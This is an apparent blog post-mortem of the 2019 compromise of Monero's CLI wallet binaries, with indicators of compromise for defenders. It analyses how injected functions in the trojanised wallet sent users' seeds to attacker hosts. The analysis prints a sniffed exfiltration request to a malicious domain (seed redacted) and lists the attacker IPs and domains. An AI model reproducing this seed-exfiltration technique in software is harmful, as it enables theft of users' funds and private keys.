As mentioned in the getmonero.org blog post, the binaries of Command Line Interface (CLI) of Monero were recently compromised.
For readers who are unaware of Monero, it is a cryptocurrency which aims to protect the financial privacy of its users. It is based on well-known technologies such as ring signatures and Confidential Transactions; I suggest reading Mastering Monero to better understand its fundamentals.
Before starting my post-mortem analysis, I’d like to highlight that - at the moment of writing - I have no idea of HOW the downloads.getmonero.org server was compromised. This blog post will be updated once engineers finish inspecting the box.
At first, nikitasius reported - via a Github issue a mismatched hash (SHA256: b99009d2e47989262c23f7277808f7bb0115075e7467061d54fd80c51a22e63d
for the archive monero.tar.bz2) of the monero.tar.bz2 for Linux. This
file is a compressed archive which contains the Monero Command Line
client used to manage the wallet and daemon. The user investigated more
and discovered that only monero-wallet-cli had a different hash than the
original version. This was then reported to a Reddit thread, where
reported to Reddit thread where I’ve been pinged by most of community members to shed some light on the matter.
Once I obtained the binary, I immediately started an analysis. I decided to opt for a more dynamic one (i.e. based on “empirical” data). Both methods (static and dynamic analysis) are necessary in order to dig deeper into the workings of these programs. I had set up my Docker machine and tried to run ./monero-wallet-cli specifying my remote node. Then an error occurred since my version of GLIB_C was not updated; this was my first red flag since all other Monero programs extracted from the malicious archive worked normally.
As shown by the file
command, it was dynamically linked,
and the unknown attacker did not purge the debug information. We were
quite lucky, as the presence of debug information makes it much easier
for us to analyze the binary. Comparing the informations, we have two
probable theories: the attacker leaves the debug information because
they are not proficient on C++ (and they simple checked out the
repository), or because they wanted to preserve informations in order to
have less red flags as possible.
monero-wallet-cli--bad: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1c58ece68c198390e539c636da4f9af36e877e7c, with debug_info, not stripped
The malicious binary was built based on f07c326f13dc25efcfe6d680623c8cacb2dea2db commit on “release-0.15.0” tag. We suppose then that attackers prepared the binary on the 18th of November 2019.
Binary analysis for Linux
Once we got the binary running, we could start to dig into it. The first weird thing I noticed after running the malicious program was that it asked you for the wallet password twice; a legitimate wallet only asks once. At the end of this post, we will understand the reason why this happens.
I opted for dynamic analysis (as opposed to statical analysis conducted by MaxXor or by bartblaze) meaning that, while the binary was running, I attempted to capture all data flowing from and to my host. This was done using some helpful tools, such as a custom Monero daemon to log all the connections, and tcpdump to “sniff” the packets.
The first thing I did was create a new wallet. I did not notice
anything until I examined the log produced by mu TCPDUMP program. Some
new connections appeared, one of which was especially interesting. My
node started to communicate with another host (whose IP is 91.210.104.245
) via port 18081
(henceforth referred to as MALICIOUS_IP
).
I thought it was another Monero node (“cool!"), unless I remembered
that I had started the client by specifying my local node. In my network
my node has a local IP of the form 192.x.x.x.
It was quite strange that the attackers received the wallet data via port 18081
. Port 18081
is commonly used for the Monero daemon RPC API, so it should seem a
trusted connection. A user could think “I’m using my Monero wallet, so
obviously the wallet has to contact a node, especially if I do not run
the Monero daemon locally.”
POST http/1.1
Content-Type: "application/x-www-form-urlencoded"
Host: node.xmrsupport.co
?seed=[REDACTED_HEX_SEED]
The packets sniffed with tcpdump showed that the seed
was being sent to MALICIOUS_IP. This is confirmed by the static
analysis; when the wallet is created via the function cryptonote::simple_wallet::new_wallet
, the client calls the cryptonote::simple_wallet::print_seed
function. If we examine that cryptonote::simple_wallet::print_seed
function, we find two new functions that were introducted into the malicious binary: cryptonote::simple_wallet::send_to_cc
and cryptonote::simple_wallet::send_seed. Those names are interesting;
they refer to sending the “seed” (which encodes the private send key of a
Monero wallet) to a C&C server (Command and Control server known as
MALICIOUS_IP).
The function cryptonote::simple_wallet::print_seed
is
called three times: at creation of a new wallet, at opening of a new
wallet, and when the “seed” command is typed into the Command Line
interface, meaning anybody who opened and created a wallet via the
malicious program sent their private keys to attackers.
In addition to this, we have also found another IP address 45.9.148.65
connected to the node.xmrsupport.co
with SSL certificate for node.hashmonero.com. We have eventually data of the two domains.
Domain name: xmrsupport.co
Registry Domain ID: D9E3AC179ACA44FE4B81F274517F8F47E-NSR
Registrar WHOIS Server: whois.opensrs.net
Registrar URL: www.opensrs.com
Updated Date: 2019-11-14T16:02:52Z
Creation Date: 2019-11-14T16:02:51Z
and
Domain Name: hashmonero.com
Registry Domain ID: 2455018003_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2019-11-13T21:27:07Z
Creation Date: 2019-11-13T21:27:06Z
Registry Expiry Date: 2020-11-13T21:27:06Z
If your wallet was compromised, your coins are not the only thing which was stolen; we need to consider what else the attacker can do using your seed. Because Monero uses stealth addresses, it is impossible for the attacker to reconstruct the addresses to which you have sent your transactions (so this information would be safe). However, the attacker can identify how many XMR you had in your wallet, and via the analysis of the time connected to your transactions, it could allow the attacker to estimate your time zone. Finally, the attacker knows which transaction IDs are associated with your wallet.
In conclusion, the seed was sent to an attacker who was able to drain XMR from Monero wallets. As someone remarked in their blog post, this binary does not seem to open any ports from the host. So I can confirm that the malicious program is mainly a coin-stealer that aims to send your private key to the attacker. In addition to this, I would like to mark that the leaking of your seed may compromise your financial privacy; as I mentioned earlier, all the transactions received and sent will be visible to attackers.
Analysis for Windows binaries
As with the Linux binaries, we primarily relied on dynamic analysis. We opted to use the hybrid-analysis.com service to get an overview of the situation.
I can confirm that Windows binaries were also compromised; we found in the binary the same malicious functions used by the Linux version. Since the Linux binary was already discussed in a blog post published by bartblaze, let me introduce you to the static analysis of Windows binary.
Here we start with objdump which is a helpful program that can dissassemble any binary file (even .exe files built for Windows NT). A fast research using the query “send_to_cc” confirms that the attacker used the same source to build the Windows binary.
_ZN10cryptonote13simple_wallet10send_to_ccENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES6_i
_ZN10cryptonote13simple_wallet9send_seedERKN4epee15wipeable_stringE
Interestingly, the hybrid-analysis results found that
the Windows version of the malware had some hints of additional
malicious behavior. It checks the registry key "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"
to see if TSUSERENABLED
is set to true. Essentially it is checking if remote desktop is
enabled. This is generally done when an attacker wants to spread malware
laterally across a network. However, it would seem that this
functionality was abandoned due to time constraints (there do not seem
to be any other attempts to utilize RDP).
OMG! What can I do?
Do you think your wallet may have been compromised? First, check if you downloaded the malicious binaries by comparing the hash of your file with the original one. It’s strongly recommended to anyone who downloaded the CLI wallet from this website between Monday 18th 2:30 AM UTC and 4:30 PM UTC to check the hashes of their binaries. If you want a more detailed guide, I’d suggest you read this guide.
If you are wondering why I did not publish any public information before someone wrote a blog post about it, here it is. I have tried with some community contributors to identify the attacker by analyzing their transaction metadata, but unfortunately we were not able to reproduce the seed-stealing action; we could not identify more information about the attacker.
Additional data and IoC
- The Linux binary was built based on the 0.15 release under the folder
/home/amp/BUILDS/monero
; - The Windows binary was built based on the same source used for the Linux one;
monero-wallet-cli.exe:
- MD5:
72417ab40b8ed359a37b72ac8d399bd7
- SHA-256:
963c1dfc86ff0e40cee176986ef9f2ce24fda53936c16f226c7387e1a3d67f74
- File type: monero-wallet-cli.exe: PE32+ executable (console) x86-64, for MS Windows
- File size: 65.14 MB (68302960 bytes)
monero-wallet-cli:
- MD5:
d267be7efc3f2c4dde8e90b9b489ed2a
- SHA-256:
7ab9afbc5f9a1df687558d570192fbfe9e085712657d2cfa5524f2c8caccca31
- File type: ELF
- File size: 27.63 MB (28967688 bytes)
Domain and IP affected:
- IPv4 91.210.104.245
- IPv4 45.9.148.65
- domain hashmonero.com
- domain xmrsupport.co
Comments
Post a Comment